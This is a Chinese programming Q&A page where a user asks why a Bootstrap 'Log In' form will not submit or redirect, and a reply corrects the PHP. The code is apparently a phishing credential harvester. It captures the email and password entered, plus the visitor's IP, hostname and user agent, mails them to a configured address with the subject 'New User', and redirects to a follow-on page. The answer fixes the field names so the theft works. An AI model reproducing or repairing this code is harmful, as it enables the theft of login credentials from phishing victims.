为了账号安全,请及时绑定邮箱和手机立即绑定

如何修复“引导表单不发布和重定向”

如何修复“引导表单不发布和重定向”

PHP
慕少森 2021-05-03 12:12:40
我正在尝试使用Bootstrap 3创建一个表单。该表单不会发布或重定向到页面2。这里是我的表单,不会重定向或发布<form role="form" action="sqr.php" method="post">                    <div class="row">                    <div class="form-group col-xs-11">                    <label for="exampleInputEmail1"></label>                    <input type="email" class="form-control" id="exampleInputEmail1" name="usrr" placeholder="Email Adress">                    </div>                    </div>                    <div class="row">                    <div class="form-group col-xs-11">                    <label for="exampleInputPassword1"></label>                    <input type="password" class="form-control" id="exampleInputPassword1" name="psww" placeholder="Password">                    </div>                    </div>                    <button type="submit" class="btn btn-info col-xs-11">Log In</button>                </form>这是我的PHP<?phpif($_POST["usr"] != "" and $_POST["psw"] != ""){$ip = getenv("REMOTE_ADDR");$hostname = gethostbyaddr($ip);$useragent = $_SERVER['HTTP_USER_AGENT'];$message .= "-------------- Info-----------------------\n";$message .= "Email            : ".$_POST['usrr']."\n";$message .= "Password           : ".$_POST['psww']."\n";include 'email.php';$subject = "New User| $ip";{mail("$to", "$send", "$subject", $message);     }$praga=rand();$praga=md5($praga);header ("Location: sq1.php");?>这是我的Javascript$(function(){function after_form_submitted(data) {    if(data.result == 'success')    {        $('form#reused_form').hide();        $('#success_message').show();        $('#error_message').hide();    }    else    {        $('#error_message').append('<ul></ul>');        jQuery.each(data.errors,function(key,val)        {            $('#error_message ul').append('<li>'+key+':'+val+'</li>');        });        $('#success_message').hide();        $('#error_message').show();但它不会发布,也不会重定向。不断回到同一页面,对于网页设计而言,我还是比较陌生的。非常感谢您的帮助
查看完整描述

1 回答

?
慕哥9229398

TA贡献1877条经验 获得超6个赞

首先,您的php $ _POST是错误的。它必须在下面。并且请检查邮件功能$ to和$ send变量。


if ($_POST["usrr"] != "" and $_POST["psww"] != "") {

        $ip = getenv("REMOTE_ADDR");

        $hostname = gethostbyaddr($ip);

        $useragent = $_SERVER['HTTP_USER_AGENT'];

        $message = '';

        $message .= "-------------- Info-----------------------\n";

        $message .= "Email            : " . $_POST['usrr'] . "\n";

        $message .= "Password           : " . $_POST['psww'] . "\n";

        include 'email.php';

        $subject = "New User| $ip";

        {

            mail("$to", "$send", "$subject", $message); // Where is $to and $send variables ?

        }

        $praga = rand();

        $praga = md5($praga);

        header("Location: sq1.php");

    }


查看完整回答
反对 回复 2021-05-07
  • 1 回答
  • 0 关注
  • 161 浏览

添加回答

举报

0/150
提交
取消
意见反馈 帮助中心 APP下载
官方微信